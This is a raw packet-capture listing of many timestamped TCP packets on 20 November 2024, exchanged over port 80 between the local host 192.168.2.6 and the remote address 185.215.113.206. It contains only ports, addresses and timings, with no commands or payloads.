Nov 20, 2024 14:43:15.291623116 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.291640043 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.291673899 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.291714907 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.293859005 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.293920994 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.295181990 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.295232058 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.297276020 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.297326088 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.297439098 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.297488928 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.298387051 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.298443079 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.299398899 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.299540043 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.301465988 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.301527977 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.301603079 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.301662922 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.303162098 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.303215981 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.303352118 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.303395987 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.304253101 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.304270029 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.304327965 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.307231903 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.307291031 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.307404041 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.307444096 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.307879925 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.307959080 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.308244944 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.308305025 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.309169054 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.309195995 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.309225082 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.309253931 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.309273005 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.309317112 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.309350967 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.309411049 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.310920000 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.310985088 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.311006069 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.311048031 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.312644958 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.312705994 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.312764883 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.312808037 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.314333916 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.314418077 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.314444065 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.314522028 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.315977097 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.316087961 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.316129923 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.316129923 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.317564964 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.317629099 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.317703962 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.317759037 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.319158077 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.319220066 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.354204893 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.354289055 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.354319096 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.354378939 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.354809999 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.354857922 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.354918957 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.354959965 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.356106043 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.356153011 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.356199980 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.356250048 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.357371092 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.357430935 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.357491970 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.357531071 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.358649969 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.358725071 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.358764887 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.358804941 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.359925032 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.359983921 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.359987974 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.360019922 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.361201048 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.361253023 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.361423016 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.361476898 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.362478018 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.362549067 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.362687111 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.362776995 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.363809109 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.363872051 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.363893032 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.363995075 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.365057945 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.365153074 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.365175009 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.365560055 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.366333961 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.366400957 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.366583109 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.366674900 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.367666960 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.367707014 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.367755890 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.368875980 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.368911028 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.368931055 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.368942976 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.370160103 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.370271921 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.370285988 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.370328903 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.371436119 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.371488094 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.371565104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.371948004 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.372720003 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.372863054 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.372884035 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.373017073 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.374021053 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.374108076 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.374135017 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.374219894 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.375283003 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.375370979 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.375417948 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.375471115 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.376554966 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.376615047 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.376672029 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.376722097 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.377907991 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.377979994 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.378046036 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.378094912 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.379148006 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.379240990 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.379304886 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.380398035 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.380417109 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.380449057 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.380506039 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.381680965 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.381748915 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.381757021 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.381809950 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.382978916 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.383042097 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.383109093 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.383363962 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.384284973 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.384437084 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.384438038 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.384485006 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.385634899 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.385711908 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.385802984 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.385919094 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.386828899 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.386894941 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.387079000 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.387140989 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.435540915 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.435585976 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.435621977 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.435658932 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.435980082 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.436037064 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.436108112 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.436167002 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.437261105 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.437326908 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.437397003 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.437443018 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.441426992 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.441592932 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.442536116 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.442595959 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.444480896 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.444499969 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.444561958 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.444626093 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.444647074 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.444678068 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.444710016 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.446011066 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.446073055 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.446142912 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.446199894 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.492038012 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.492140055 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.492239952 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.492286921 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.492707014 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.492755890 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.492786884 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.492870092 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.493973017 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.494044065 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.494175911 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.494220018 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.495264053 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.495321035 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.495408058 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.495451927 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.496582031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.496638060 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.496639013 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.496670961 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.497803926 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.497862101 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.497865915 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.497903109 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.499066114 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.499099016 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.499124050 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.499136925 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.500310898 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.500358105 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.500381947 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.500430107 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.501523972 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.501581907 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.501717091 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.501775980 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.502625942 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.502675056 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.502724886 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.502856970 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.503835917 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.503887892 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.503901958 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.504004955 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.504998922 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.505050898 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.505110025 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.505156040 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.506210089 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.506267071 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.506318092 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.506385088 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.507265091 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.507380962 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.507432938 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.508424997 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.508483887 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.508497953 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.508569956 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.509471893 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.509536982 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.509612083 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.509675026 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.510550976 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.510668039 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.510718107 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.511688948 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.511785984 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.512093067 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.512187958 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.512720108 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.512789965 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.512906075 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.512952089 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.513911009 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.513936996 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.513983965 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.514009953 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.565100908 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.565171957 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.565196037 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.565280914 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.565610886 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.565673113 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.565735102 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.565902948 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.566709042 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.566811085 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.567039967 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.567133904 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.567842007 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.567941904 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.567995071 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.568053961 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.574542999 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.574559927 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.574573994 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.574589014 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.574630976 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.574645042 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.574640036 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.574716091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.574716091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.574717045 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.576122046 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.576224089 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.576276064 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.576333046 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.577013969 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.577121973 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.577166080 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.577249050 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.577893972 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.577996016 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.578214884 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.578293085 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.579071045 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.579150915 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.579338074 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.579590082 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.580328941 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.580395937 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.580468893 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.580516100 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.581167936 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.581235886 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.581574917 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.581635952 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.582525015 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.582542896 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.582596064 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.583446026 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.583506107 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.583568096 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.583616018 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.584465027 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.584522963 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.584758043 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.584852934 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.585766077 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.585783958 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.585834980 CET	49715	80	192.168.2.6	185.215.113.206
